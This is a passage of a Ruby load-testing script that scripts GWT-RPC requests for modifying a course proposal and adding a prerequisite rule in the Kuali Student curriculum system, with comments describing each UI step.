Dept|unitsDeployment|variations|versionInfo|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionComment|versionIndId|%%_#{opts[:course_ind_dyn_var]}%%|versionedFromId|%%_#{opts[:course_name_dyn_var]}%%|Standard final Exam|proposal|prevStartTerm|kuali.atp.FA2007-2008|workflowNode|PreRoute|%%_#{opts[:preRoute_dyn_var]}%%|name|Modify: #{course_title}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|Saved|kuali.proposal.type.course.modify|workflowId|%%_#{opts[:workflowId_dyn_var]}%%|rationale|#{new_proposal_rationale}|collaboratorInfo|collaborators|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|1|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|0|-1|-31|8|29|14|30|8|31|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|32|14|33|8|34|14|35|8|36|17|5|6|7|0|3|8|37|38|39|3529485200|1288490188800|0|8|40|38|39|3529485200|1288490188800|0|8|41|14|42|-43|-49|8|43|17|5|6|7|0|1|18|-15|14|33|-43|-61|8|44|14|45|8|46|14|47|8|21|17|5|6|7|0|1|8|46|17|5|6|7|0|1|8|22|14|48|-73|-75|-43|-71|-39|-41|-1|-37|8|49|17|5|6|7|0|0|-1|-81|8|50|17|5|6|7|0|3|8|51|14|52|8|53|14|54|8|21|17|5|6|7|0|1|8|55|17|5|6|7|0|1|8|53|10|-5|-95|-97|-87|-93|-1|-85|8|56|17|5|6|7|0|3|8|57|14|58|8|59|60|19|1|8|21|17|5|6|7|0|1|8|57|17|5|6|7|0|1|8|22|14|61|-114|-116|-105|-112|-1|-103|8|62|38|39|3208226304|1185410973696|0|8|63|17|5|6|7|0|1|8|64|17|5|6|7|0|0|-127|-129|-1|-125|8|65|17|5|6|7|0|0|-1|-133|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|67|17|5|6|7|0|2|18|-15|17|5|6|7|0|9|8|68|14|69|8|70|17|5|6|7|0|3|8|71|14|72|8|73|14|74|8|21|17|5|6|7|0|1|8|73|17|5|6|7|0|1|8|22|14|75|-165|-167|-157|-163|-151|-155|8|76|60|-15|8|56|17|5|6|7|0|3|8|57|14|58|8|59|60|-111|8|21|17|5|6|7|0|1|8|57|17|5|6|7|0|1|8|22|14|61|-185|-187|-177|-183|-151|-175|8|34|14|77|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|80|1565163205|1322849927168|8|81|14|79|8|40|38|80|1565163205|1322849927168|8|41|14|42|-151|-195|8|44|14|82|8|83|17|5|6|7|0|0|-151|-213|8|21|17|5|6|7|0|1|8|68|17|5|6|7|0|1|8|22|14|84|-219|-221|-151|-217|-147|-149|18|-111|17|5|6|7|0|9|8|68|14|85|8|70|17|5|6|7|0|3|8|71|14|86|8|73|14|74|8|21|17|5|6|7|0|1|8|73|17|5|6|7|0|1|8|22|14|75|-243|-245|-235|-241|-229|-233|8|76|60|-15|8|56|17|5|6|7|0|3|8|57|14|58|8|59|60|-111|8|21|17|5|6|7|0|1|8|57|17|5|6|7|0|1|8|22|14|61|-263|-265|-255|-261|-229|-253|8|34|14|87|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|80|1565163219|1322849927168|8|81|14|79|8|40|38|80|1565163219|1322849927168|8|41|14|42|-229|-273|8|44|14|82|8|83|17|5|6|7|0|0|-229|-291|8|21|17|5|6|7|0|1|8|68|17|5|6|7|0|1|8|22|14|88|-297|-299|-229|-295|-147|-227|-143|-145|8|34|14|89|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|80|1565163203|1322849927168|8|81|14|79|8|40|38|80|1565163203|1322849927168|8|41|14|42|-143|-307|8|44|14|82|8|90|17|5|6|7|0|0|-143|-325|8|46|14|91|-139|-141|-1|-137|8|92|17|5|6|7|0|3|18|-15|14|93|18|-111|14|94|8|21|17|5|6|7|0|2|18|-15|17|5|6|7|0|1|8|22|14|95|-341|-343|18|-111|17|5|6|7|0|1|8|22|14|96|-341|-349|-333|-339|-1|-331|8|34|14|97|8|98|17|0|8|99|17|5|6|7|0|0|-1|-359|8|100|14|101|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|80|1565162823|1322849927168|8|81|14|79|8|40|38|80|1565163048|1322849927168|8|41|14|102|-1|-365|8|103|17|5|6|7|0|2|8|71|14|102|8|73|14|74|-1|-381|8|104|10|11|0|8|105|17|5|6|7|0|0|-1|-392|8|106|10|-391|8|44|14|82|8|107|14|108|8|90|17|5|6|7|0|4|18|-15|14|109|18|-111|14|110|18|19|2|14|111|8|21|17|5|6|7|0|3|18|-15|17|5|6|7|0|1|8|22|14|112|-415|-417|18|-111|17|5|6|7|0|1|8|22|14|113|-415|-423|18|-411|17|5|6|7|0|1|8|22|14|114|-415|-429|-404|-413|-1|-402|8|115|14|116|8|46|14|117|8|83|17|5|6|7|0|2|18|-15|14|118|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|119|-447|-449|-441|-445|-1|-439|8|120|17|5|6|7|0|0|-1|-455|8|121|17|5|6|7|0|0|-1|-459|8|122|17|5|6|7|0|4|8|123|124|125|2|0|8|126|14|126|8|127|14|128|8|129|14|130|-1|-463|8|21|17|5|6|7|0|3|8|107|17|5|6|7|0|1|8|22|14|108|-478|-480|8|13|17|5|6|7|0|1|8|22|14|131|-478|-486|-97|17|5|6|7|0|3|8|29|10|-5|8|98|10|-5|8|107|10|-5|-478|-97|-1|-476|8|132|17|5|6|7|0|14|8|133|14|134|8|135|14|136|8|34|14|137|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|80|1565163837|1322849927168|8|81|14|79|8|40|38|80|1565169104|1322849927168|8|41|14|86|-503|-511|8|138|14|139|8|140|17|5|6|7|0|1|18|-15|14|97|-503|-529|8|141|14|142|8|143|17|5|6|7|0|0|-503|-537|8|144|17|5|6|7|0|0|-503|-541|8|44|14|145|8|46|14|146|8|147|14|148|8|149|14|150|-93|17|5|6|7|0|1|-97|17|5|6|7|0|1|-551|10|-5|-554|-97|-503|-93|-1|-501|8|151|17|5|6|7|0|1|8|152|17|5|6|7|0|0|-562|-564|-1|-560|0|0|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(10)\n\n # The next 4 HTTP Requests happen after clicking \"Course Logistics\" in the left-hand pane\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalLuTypeStartsWith|kuali.lu.type.activity.|lu.search.all.lu.Types|lu.resultColumn.luTypeName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.atptype.duration|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalLuTypeStartsWith|kuali.lu.type.activity.|lu.search.all.lu.Types|lu.resultColumn.luTypeName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.atptype.duration|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add_thinktime(10)\n\n # The next 4 HTTP Requests happen after changing the credit value to 5 and clicking \"Save\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|147|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|NO|_runtimeData|id-translation|North|code|#{course_number}|courseNumberSuffix|122|courseSpecificLOs|courseTitle|#{new_course_title}|creditOptions|fixedCreditValue|#{new_credit_value}|id|kuali.creditType.credit.degree.4.0|metaInfo|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateTime|versionInd|0|state|Active|type|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|dirty|updated|crossListings|descr|formatted|%%_#{opts[:description_dyn_var]}%%|plain|%%_#{opts[:description_dyn_var]}%%#{new_description_addition}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lecture|contactHours|unitQuantity|3|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|%%_#{opts[:defaultEnrollmentEstimate_dyn_var]}%%|createId|#{opts[:modification_person]}|updateId|java.util.Date/1659716317|1|Draft|unitsContentOwner|Lecture|kuali.lu.type.activity.Lab|2|%%_#{opts[:lecture_dyn_var]}%%|Lab|%%_#{opts[:lab_dyn_var]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|%%_#{opts[:pass_fail_dyn_var]}%%|instructors|joints|level|100|outOfClassHours|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{course_code}|kuali.atp.season.Fall|kuali.atp.season.Winter|kuali.atp.season.Spring|transcriptTitle|MICROBES AND SOCIETY|kuali.lu.type.CreditCourse|65|Biology Dept|unitsDeployment|variations|versionInfo|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionComment|versionIndId|%%_#{opts[:course_ind_dyn_var]}%%|versionedFromId|%%_#{opts[:course_name_dyn_var]}%%|Standard final Exam|proposal|prevStartTerm|kuali.atp.FA2007-2008|workflowNode|PreRoute|%%_#{opts[:preRoute_dyn_var]}%%|name|Modify: #{course_title}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{new_proposal_rationale}|Saved|kuali.proposal.type.course.modify|workflowId|%%_#{opts[:workflowId_dyn_var]}%%|collaboratorInfo|collaborators|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|1|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|0|-1|-31|8|29|14|30|8|31|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|32|14|33|8|34|14|35|8|36|17|5|6|7|0|3|8|37|38|39|3529485200|1288490188800|0|8|40|38|39|3529485200|1288490188800|0|8|41|14|42|-43|-49|8|43|14|44|8|45|14|46|8|21|17|5|6|7|0|4|8|45|17|5|6|7|0|1|8|22|14|47|-67|-69|8|48|17|5|6|7|0|2|8|32|10|-5|8|45|10|-5|-67|-75|8|49|10|-5|8|21|17|5|6|7|0|1|-75|17|5|6|7|0|1|-83|10|-5|-87|-75|-67|-85|-43|-65|-39|-41|-1|-37|8|50|17|5|6|7|0|0|-1|-93|8|51|17|5|6|7|0|2|8|52|14|53|8|54|14|55|-1|-97|8|56|17|5|6|7|0|3|8|57|14|58|8|59|60|19|1|8|21|17|5|6|7|0|2|8|57|17|5|6|7|0|1|8|22|14|61|-116|-118|-75|17|5|6|7|0|1|8|57|10|-5|-116|-75|-107|-114|-1|-105|8|62|38|39|3208226304|1185410973696|0|8|63|17|5|6|7|0|1|8|64|17|5|6|7|0|0|-134|-136|-1|-132|8|65|17|5|6|7|0|0|-1|-140|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|67|17|5|6|7|0|2|18|-15|17|5|6|7|0|9|8|68|14|69|8|70|17|5|6|7|0|3|8|71|14|72|8|73|14|74|8|21|17|5|6|7|0|1|8|73|17|5|6|7|0|1|8|22|14|75|-172|-174|-164|-170|-158|-162|8|76|60|-15|8|56|17|5|6|7|0|3|8|57|14|58|8|59|60|-113|8|21|17|5|6|7|0|1|8|57|17|5|6|7|0|1|8|22|14|61|-192|-194|-184|-190|-158|-182|8|34|14|77|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|39|1565163205|1322849927168|373000000|8|80|14|79|8|40|38|81|1566559026|1322849927168|8|41|14|82|-158|-202|8|43|14|83|8|84|17|5|6|7|0|0|-158|-220|8|21|17|5|6|7|0|1|8|68|17|5|6|7|0|1|8|22|14|85|-226|-228|-158|-224|-154|-156|18|-113|17|5|6|7|0|9|8|68|14|86|8|70|17|5|6|7|0|3|8|71|14|87|8|73|14|74|8|21|17|5|6|7|0|1|8|73|17|5|6|7|0|1|8|22|14|75|-250|-252|-242|-248|-236|-240|8|76|60|-15|8|56|17|5|6|7|0|3|8|57|14|58|8|59|60|-113|8|21|17|5|6|7|0|1|8|57|17|5|6|7|0|1|8|22|14|61|-270|-272|-262|-268|-236|-260|8|34|14|88|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|39|1565163219|1322849927168|387000000|8|80|14|79|8|40|38|81|1566559037|1322849927168|8|41|14|82|-236|-280|8|43|14|83|8|84|17|5|6|7|0|0|-236|-298|8|21|17|5|6|7|0|1|8|68|17|5|6|7|0|1|8|22|14|89|-304|-306|-236|-302|-154|-234|-150|-152|8|34|14|90|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|39|1565163203|1322849927168|371000000|8|80|14|79|8|40|38|81|1566559009|1322849927168|8|41|14|82|-150|-314|8|43|14|83|8|91|17|5|6|7|0|0|-150|-332|8|45|14|92|-146|-148|-1|-144|8|93|17|5|6|7|0|2|18|-15|14|94|18|-113|14|95|-1|8|93|8|34|14|96|8|97|17|5|6|7|0|0|-1|-349|8|98|17|5|6|7|0|0|-1|-353|8|99|14|100|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|39|1565162823|1322849927168|991000000|8|80|14|79|8|40|38|81|1566558902|1322849927168|8|41|14|87|-1|-359|8|101|17|5|6|7|0|2|8|71|14|82|8|73|14|74|-1|-375|8|102|10|11|0|8|103|17|5|6|7|0|0|-1|-386|8|104|10|-385|8|43|14|83|8|105|14|106|8|91|17|5|6|7|0|3|18|-15|14|107|18|-113|14|108|18|19|2|14|109|-1|8|91|8|110|14|111|8|45|14|112|8|84|17|5|6|7|0|2|18|-15|14|113|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|114|-420|-422|-414|-418|-1|-412|8|115|17|5|6|7|0|0|-1|-428|8|116|17|5|6|7|0|0|-1|-432|8|117|17|5|6|7|0|4|8|118|119|120|2|0|8|121|14|121|8|122|14|123|8|124|14|125|-1|-436|8|21|17|5|6|7|0|3|8|105|17|5|6|7|0|1|8|22|14|106|-451|-453|8|13|17|5|6|7|0|1|8|22|14|126|-451|-459|-75|17|5|6|7|0|3|-407|10|-5|-346|10|-5|8|13|10|-5|-451|-75|-1|-449|8|127|17|5|6|7|0|13|8|128|14|129|8|130|14|131|8|34|14|132|8|36|17|5|6|7|0|5|8|78|14|79|8|37|38|39|1565163837|1322849927168|5000000|8|80|14|79|8|40|38|81|1566560108|1322849927168|8|41|14|72|-474|-482|8|133|14|134|8|135|17|5|6|7|0|1|18|-15|14|96|-474|-500|8|136|14|137|8|138|17|5|6|7|0|0|-474|-508|8|139|17|5|6|7|0|0|-474|-512|8|140|14|141|8|43|14|142|8|45|14|143|8|144|14|145|-1|-472|8|146|17|5|6|7|0|1|8|147|17|5|6|7|0|0|-526|-528|-1|-524|0|0|\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:new_credit_id_dyn_var], \"re\" => opts[:new_credit_id_var_regexp]}\n ]\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(10)\n\n # The next 2 HTTP Requests happen after clicking \"Course Requisites\" in the left-hand pane\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:pass_fail_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n }, {'subst' => 'true'}\n )\n\n @request.add_thinktime(5)\n\n # The next HTTP Request happens after clicking \"Add Student Eligibility + Prerequisite\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getReqComponentTypesForStatementType|java.lang.String/2004016611|kuali.statement.type.course.academicReadiness.studentEligibilityPrereq|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add_thinktime(5)\n\n # The next 3 HTTP Requests happen after clicking on \"Select rule type\" dropdown and selecting \"Must have successfully completed <course>\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|13|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|translateReqComponentToNL|org.kuali.student.core.statement.dto.ReqComponentInfo/2291374795|java.lang.String/2004016611|org.kuali.student.core.statement.ui.client.widgets.rules.ReqComponentInfoUi/1915746788|org.kuali.student.common.dto.RichTextInfo/1518544421||NEWREQCOMP1000000|kuali.reqComponent.type.course.completed|KUALI.RULE.COMPOSITION|en|1|2|3|4|3|5|6|6|7|0|8|9|9|0|0|10|0|0|0|0|11|12|13|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/MetadataRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|9|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C721122BF64327C2BB379CD5224A091|org.kuali.student.common.ui.client.service.MetadataRpcService|getMetadataList|java.lang.String/2004016611|java.util.List|org.kuali.student.core.statement.dto.ReqCompFieldInfo|java.util.ArrayList/3821976829|kuali.reqComponent.field.type.course.clu.id|1|2|3|4|3|5|6|5|7|8|1|5|9|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CluSetManagementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getMetadata|java.lang.String/2004016611|java.util.Map|courseSet|1|2|3|4|2|5|6|7|0|\"\n }\n )\n\n @request.add_thinktime(10)\n\n # The next HTTP Request happens after clicking on \"Advanced Search\" beneath course and entering \"bsci\" for Course Code (Subject Code/Number) and then clicking \"Search\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|21|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalCode|#{advanced_search_code}|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.queryParam.luOptionalState|java.lang.String/2004016611|Active|Approved|Retired|Suspended|lu.search.mostCurrent.union|lu.resultColumn.luOptionalCode|1|2|3|4|1|5|5|6|10|7|0|8|3|9|10|0|11|9|12|0|13|9|14|8|4|15|16|15|17|15|18|15|19|0|20|21|0|6|0|\"\n }, {'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:requisite_ind_dyn_var], \"re\" => opts[:requisite_ind_var_regexp]}\n ]\n }\n ) \n\n @request.add_thinktime(5)\n\n # The next HTTP Request happens after clicking on the row that has Name = \"The World of Biology\", Code = \"BSCI103\" and clicking \"Select\" and then clicking \"Add Rule\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|translateReqComponentToNLs|org.kuali.student.core.statement.ui.client.widgets.rules.ReqComponentInfoUi/1915746788|[Ljava.lang.String;/2600011424|java.lang.String/2004016611|org.kuali.student.common.dto.RichTextInfo/1518544421||NEWREQCOMP1000000|java.util.ArrayList/3821976829|org.kuali.student.core.statement.dto.ReqCompFieldInfo/57577190|kuali.reqComponent.field.type.course.clu.id|%%_#{opts[:requisite_ind_dyn_var]}%%|kuali.reqComponent.type.course.completed|KUALI.RULE|KUALI.RULE.PREVIEW|en|1|2|3|4|3|5|6|7|5|0|8|9|9|0|0|10|0|0|11|1|12|0|13|14|0|15|6|2|16|17|18|\"\n }, {'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:required_dyn_var], \"re\" => opts[:required_var_regexp]}\n ]\n }\n )\n\n # Click \"Save\" -- NOTE: Nothing happens -- Is this a bug?\n\n @request.add_thinktime(5)\n\n # Click \"Active Dates\" in the left-hand pane and a popup appears that reads\n # \"Warning\n # You may have unsaved changes. Save changes?\"\n # The next HTTP Request happens after clicking \"Yes\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|26|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|storeCourseStatements|java.lang.String/2004016611|java.util.Map|%%_#{opts[:pass_fail_dyn_var]}%%|Draft|java.util.HashMap/962170901|java.lang.Integer/3438268394|org.kuali.student.lum.lu.ui.course.client.requirements.CourseRequirementsDataModel$requirementState/1129087124|java.util.LinkedHashMap/1551059846|org.kuali.student.core.statement.dto.StatementTreeViewInfo/1557115098|java.util.ArrayList/3821976829|org.kuali.student.core.statement.ui.client.widgets.rules.ReqComponentInfoUi/1915746788|%%_#{opts[:required_dyn_var]}%%|org.kuali.student.common.dto.RichTextInfo/1518544421||NEWREQCOMP1000000|org.kuali.student.core.statement.dto.ReqC